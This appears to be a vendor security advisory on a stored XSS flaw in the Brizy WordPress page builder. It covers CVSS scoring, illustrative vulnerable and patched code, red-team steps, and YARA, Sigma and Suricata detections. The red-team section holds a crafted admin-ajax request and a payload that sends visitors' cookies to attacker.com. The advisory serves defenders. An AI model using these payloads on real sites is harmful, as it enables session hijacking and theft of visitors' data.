CVE-2024-1296

Executive Summary

CVE-2024-1296 is a Stored Cross-Site Scripting (XSS) vulnerability in the Brizy – Page Builder plugin for WordPress, affecting all versions up to and including 2.4.40. The flaw resides in the plugin's block upload functionality, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level or higher permissions to inject arbitrary web scripts. These scripts execute whenever a victim accesses the compromised page, leading to potential session hijacking, data theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for significant impact due to the stored nature of the attack. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the Brizy vendor and consider removing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level or above
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to widespread compromise of site visitors.

Deep Dive & Mechanics

The vulnerability exists in the Brizy plugin's block upload functionality, which processes user-supplied attributes during media uploads. The plugin fails to properly sanitize input and escape output when rendering these attributes in the frontend. An attacker with contributor-level access can craft a malicious block upload containing JavaScript payloads in attributes such as src, alt, or custom data attributes. When the block is rendered on a page, the payload executes in the context of the victim's browser.

Root Cause: The plugin uses wp_kses or similar sanitization functions incorrectly, or omits them entirely for certain attributes, allowing HTML/JavaScript injection.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new page or post and adds a Brizy block.
3. Attacker uploads a media file (e.g., image) with a crafted attribute containing a JavaScript payload (e.g., onerror or onload).
4. The payload is stored in the database without proper escaping.
5. When any user (including admins) visits the page, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (Brizy <= 2.4.40):

// In block upload handler
$attributes = $_POST['attributes'];
// No sanitization or escaping
echo '<div ' . $attributes . '></div>';

Patched Code (Hypothetical fix):

// In block upload handler
$attributes = array_map('esc_attr', $_POST['attributes']);
// Proper escaping
echo '<div ' . implode(' ', $attributes) . '></div>';

Key Difference: The patched version uses esc_attr() to escape each attribute value, preventing injection of malicious event handlers.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Brizy plugin <= 2.4.40
• Contributor-level account credentials

Exploitation Steps:

1. Log in as a contributor.
2. Create a new page and add a Brizy image block.
3. Upload a benign image file (e.g., test.png).
4. Intercept the upload request with Burp Suite or similar.
5. Modify the attributes parameter to include a malicious payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   ...
   action=brizy_media_upload&attributes[src]=x&attributes[onerror]=alert(document.cookie)
   

6. Submit the request.
7. Visit the page as any user to trigger the XSS.

Payload Example:

<img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection Steps:

1. Monitor for unusual admin-ajax.php requests with action=brizy_media_upload.
2. Inspect uploaded media attributes for suspicious event handlers (e.g., onerror, onload, onmouseover).
3. Review database entries in wp_postmeta for Brizy block data containing JavaScript.

Hunting Query (SQL):

SELECT * FROM wp_postmeta WHERE meta_key LIKE '%brizy%' AND meta_value LIKE '%onerror%';

Indicators of Compromise (IOCs)

• File Hashes: None specific; focus on database entries.
• Network Patterns: POST requests to /wp-admin/admin-ajax.php with action=brizy_media_upload and suspicious attributes parameters.
• Log Entries: WordPress debug logs showing wp_kses failures or unescaped output.
• Database Artifacts: wp_postmeta entries containing onerror, onload, or javascript: in Brizy block data.

Detection Engineering

YARA Rule

rule Brizy_Stored_XSS_CVE_2024_1296 {
    meta:
        description = "Detects stored XSS payloads in Brizy plugin uploads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1296"
    strings:
        $payload1 = /onerror\s*=\s*["']?[^"']*["']?/ nocase
        $payload2 = /onload\s*=\s*["']?[^"']*["']?/ nocase
        $payload3 = /javascript\s*:\s*/ nocase
        $brizy_key = "brizy" nocase
    condition:
        any of ($payload*) and $brizy_key
}

Sigma Rule

title: Brizy Stored XSS via Block Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-1296 in Brizy plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=brizy_media_upload'
        cs-uri-query|contains|all:
            - 'attributes['
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in media attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1296 Brizy Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=brizy_media_upload"; http_client_body; pcre:"/attributes\[.*\bonerror\b.*\]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Brizy plugin until a patch is available.
2. Restrict contributor-level accounts to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block requests containing onerror, onload, or javascript: in admin-ajax.php parameters.

Long-term Fix:

• Monitor the Brizy vendor for a patched version (>= 2.4.41).
• Apply the patch as soon as it is released.
• Consider migrating to an alternative page builder if no patch is provided.

Workaround:

• Use a security plugin (e.g., Wordfence) to block malicious input.
• Manually audit all Brizy blocks for suspicious attributes.

Valters IT
Securing Digital Frontiers